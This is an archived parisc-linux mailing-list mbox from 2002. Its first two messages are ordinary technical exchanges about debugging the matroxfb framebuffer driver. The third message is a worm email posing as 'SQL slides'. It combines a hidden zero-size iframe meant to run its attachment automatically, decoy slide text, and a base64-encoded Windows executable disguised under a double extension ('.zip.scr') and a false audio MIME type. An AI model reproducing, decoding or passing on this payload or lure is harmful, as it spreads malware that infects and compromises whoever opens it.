Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621740 14237 80.91.229.3 (22 Nov 2014 02:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 10:11:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgw.cvut.cz (mailgw.cvut.cz [147.32.3.235])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91C304829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 10:11:21 -0600 (MDT)
Original-Received: from mailgw.cvut.cz (localhost [127.0.0.1])
	by mailgw.cvut.cz (Postfix) with SMTP
	id E371713B652; Fri, 20 Sep 2002 18:11:18 +0200 (CEST)
Original-Received: from vcnet.vc.cvut.cz (vcnet.vc.cvut.cz [147.32.240.61])
	by mailgw.cvut.cz (Postfix) with ESMTP
	id BB97F13B651; Fri, 20 Sep 2002 18:11:18 +0200 (CEST)
Original-Received: from VCNET/SpoolDir by vcnet.vc.cvut.cz (Mercury 1.48);
    20 Sep 02 18:11:17 +0100
Original-Received: from SpoolDir by VCNET (Mercury 1.48); 20 Sep 02 18:10:57 +0100
Priority: normal
X-mailer: Pegasus Mail v3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16200

On 20 Sep 02 at 17:50, Andreas Seltenreich wrote:
> * Petr Vandrovec <VANDROVE@vc.cvut.cz> [2002-09-20 12:12]:
> >   boot with 'video=matrox:novga'. It looks like that Matrox responded
> 
> No success with novga or no_pci_retry either. It results in the same crash. 

Can you verify (with lspci -xxx) that PCI dword register 0x40 in matroxfb
configuration space has not set bit 8 (it is lowest bit in register
0x41). 0=>disable legacy VGA, 1=>enable legacy VGA. Old Millennium I
always responded to framebuffer accesses, and it was fixed in Millennium II.
I thought that it was fixed in Mystique too. You can fix it with
setpci, if matroxfb gets it wrong.

> > Can you print DAC registers 0x4C,0x4D,0x4E,0x4F after this message?
> > 0x4C..0x4E should contain 8,7E,3, and 0x4F should contain 0 when
> > PLL is not locked, and 0x40 if PLL is locked.
> 
> Ok, the code around the message now looks like this:

> DAC register 4c=8
> DAC register 4d=7e
> DAC register 4e=1f
> DAC register 4f=0

Strange. Stalls it for 5 seconds here, or goes it through immediately?

> DAC register 4c=8
> DAC register 4d=7e
> DAC register 4e=1f
> DAC register 4f=40

                                                            Petr
                                                            


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: partial success with matroxfb
Date: Fri, 20 Sep 2002 18:59:03 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20020920165902.GC22068@gate450.dyndns.org>
References: <257F2C27A66@vcnet.vc.cvut.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621741 14240 80.91.229.3 (22 Nov 2014 02:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Petr Vandrovec <VANDROVE@vc.cvut.cz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 10:59:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (pD9E4A8A7.dip.t-dialin.net [217.228.168.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E0B94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 10:59:09 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17sR7Q-0002ZE-00; Fri, 20 Sep 2002 18:59:04 +0200
Mail-Followup-To: Petr Vandrovec <VANDROVE@vc.cvut.cz>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <257F2C27A66@vcnet.vc.cvut.cz>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16201

* Petr Vandrovec <VANDROVE@vc.cvut.cz> [2002-09-20 18:12]:
> Can you verify (with lspci -xxx) that PCI dword register 0x40 in
> matroxfb
> configuration space has not set bit 8 (it is lowest bit in register
> 0x41). 0=>disable legacy VGA, 1=>enable legacy VGA. Old Millennium I
> always responded to framebuffer accesses, and it was fixed in
> Millennium II.
> I thought that it was fixed in Mystique too. You can fix it with
> setpci, if matroxfb gets it wrong.

apparently it is set:
40: 00 01 00 5f 00 00 00 00 ff ff ff ff 00 00 00 00

If I modporbe it without setting it, the bit keeps set:
40: 21 4f 09 df 00 3c 00 00 06 ff ff 06 00 00 00 00

after manually setting it to 0 and modprobing matroxfb it kept the zero:
40: 21 4e 09 df 00 3c 00 00 10 ff ff 10 00 00 00 00

but the crash still occured.

> Strange. Stalls it for 5 seconds here, or goes it through immediately?

I can't notice any delay when it passes the second time.

regards
andreas



From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ambia_m <ambia_m@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Slides_SQL_Part5[1]
Date: Fri,20 Sep 2002 13:41:44 PM
Lines: 540
Approved: news@gmane.org
Message-ID: <20020920174155.23E654829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=opigilh
X-Trace: ger.gmane.org 1416621741 14244 80.91.229.3 (22 Nov 2014 02:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 11:41:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (d57-34-163.home.cgocable.net [24.57.34.163])
	by dsl2.external.hp.com (Postfix) with SMTP id 23E654829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 11:41:55 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16202

--opigilh
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:djht height=3D0 width=3D0>
</iframe>
<FONT></FONT>
25\li585\qj\par \pard\pntext\f1\B7\tab\\pn\pnlvlblt\pnf1\pnindent\pntxtb\B7\nowidctlpar\s2\fi27\li27\qj Common for subqueries following NOT EXISTS to be of form\par \pard\nowidctlpar\s3\fi225\li585\qj\par \tab\tab SELECT  \fs25\par \pard\nowidctlpar\s1\qj\fs29\par Example 531  Query using EXISTS\<BR>.<BR>.<BR>Enjoy the attachement <BR></BODY></HTML>

--opigilh
Content-Type: audio/x-midi;
	name=Slides_SQL_Part5[1].zip.scr
Content-Transfer-Encoding: base64
Content-ID: <djht>

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
